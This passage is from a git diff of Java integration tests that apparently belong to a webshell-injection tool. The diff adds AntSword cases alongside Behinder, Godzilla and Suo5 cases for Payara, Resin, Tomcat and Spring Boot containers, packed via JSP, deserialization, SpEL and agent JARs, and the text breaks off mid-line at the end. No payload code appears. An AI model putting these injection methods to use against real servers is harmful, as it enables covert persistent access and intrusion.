com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Payara520225ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -49,6 +51,8 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +61,8 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -64,7 +70,17 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,6 +93,6 @@ public class Payara520225ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 5cdb8d4a..c45260e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +35,8 @@ public class Payara620222ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -64,7 +65,13 @@ public class Payara620222ContainerTest { arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,6 +84,6 @@ public class Payara620222ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 3aa973e7..359843fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -51,6 +51,8 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index f41fb9eb..981c034c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -51,6 +51,8 @@ public class Resin318ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Resin318ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Resin318ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 1f6e2c10..0a4f30bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -50,6 +50,8 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 0d96bbab..38a5570f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -50,6 +50,8 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 8cb82d20..2b370e8a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -55,6 +55,9 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.Base64), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), @@ -67,6 +70,10 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 78ff0adf..3146799e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -53,6 +53,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -65,6 +68,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -77,6 +83,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), @@ -88,7 +97,10 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 76e3bab0..5389a617 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -50,6 +50,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,9 +80,13 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 81cebc2c..04375fcf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -50,6 +50,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,10 +80,14 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, 